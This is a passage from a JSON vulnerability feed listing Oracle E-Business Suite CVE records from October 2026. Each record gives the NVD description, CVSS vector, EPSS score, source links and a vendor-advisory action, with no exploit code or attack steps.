data or all Oracle Common Applications accessible data as well as  unauthorized access to critical data or complete access to all Oracle Common Applications accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Common Applications.  While the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications accessible data as well as  unauthorized access to critical data or complete access to all Oracle Common Applications accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.953Z","updatedAt":"2026-10-22T16:17:12.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101705","asOf":"2026-10-22T16:17:12.973Z"},"epss":{"probability":0.00344,"percentile":0.27681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101705","type":"primary","publishedAt":"2026-10-20T22:18:24.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101704","cveId":"CVE-2026-101704","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).","summary":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  While the vulnerability is in Oracle Concurrent Processing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  While the vulnerability is in Oracle Concurrent Processing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.843Z","updatedAt":"2026-10-22T16:17:12.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101704","asOf":"2026-10-22T16:17:12.850Z"},"epss":{"probability":0.0019,"percentile":0.08522,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101704","type":"primary","publishedAt":"2026-10-20T22:18:24.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101703","cveId":"CVE-2026-101703","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.730Z","updatedAt":"2026-10-22T16:17:12.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101703","asOf":"2026-10-22T16:17:12.717Z"},"epss":{"probability":0.00335,"percentile":0.26601,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101703","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101703","type":"primary","publishedAt":"2026-10-20T22:18:24.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101703, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101700","cveId":"CVE-2026-101700","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).","summary":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.510Z","updatedAt":"2026-10-22T16:17:12.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101700","asOf":"2026-10-22T16:17:12.580Z"},"epss":{"probability":0.00415,"percentile":0.35547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101700","type":"primary","publishedAt":"2026-10-20T22:18:24.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101699","cveId":"CVE-2026-101699","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).","summary":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.397Z","updatedAt":"2026-10-22T16:17:12.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101699","asOf":"2026-10-22T16:17:12.433Z"},"epss":{"probability":0.00359,"percentile":0.29372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101699","type":"primary","publishedAt":"2026-10-20T22:18:24.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101698","cveId":"CVE-2026-101698","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).","summary":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:24.280Z","updatedAt":"2026-10-22T16:17:12.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101698","asOf":"2026-10-22T16:17:12.307Z"},"epss":{"probability":0.00335,"percentile":0.26601,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101698","type":"primary","publishedAt":"2026-10-20T22:18:24.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101694","cveId":"CVE-2026-101694","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.830Z","updatedAt":"2026-10-22T16:17:12.057Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101694","asOf":"2026-10-22T16:17:12.057Z"},"epss":{"probability":0.00514,"percentile":0.43503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101694","type":"primary","publishedAt":"2026-10-20T22:18:23.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101692","cveId":"CVE-2026-101692","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.720Z","updatedAt":"2026-10-24T04:18:14.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101692","asOf":"2026-10-24T04:18:14.433Z"},"epss":{"probability":0.00464,"percentile":0.39953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101692","type":"primary","publishedAt":"2026-10-20T22:18:23.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101690","cveId":"CVE-2026-101690","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.610Z","updatedAt":"2026-10-22T16:17:11.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101690","asOf":"2026-10-22T16:17:11.807Z"},"epss":{"probability":0.00373,"percentile":0.30997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101690","type":"primary","publishedAt":"2026-10-20T22:18:23.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101689","cveId":"CVE-2026-101689","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting 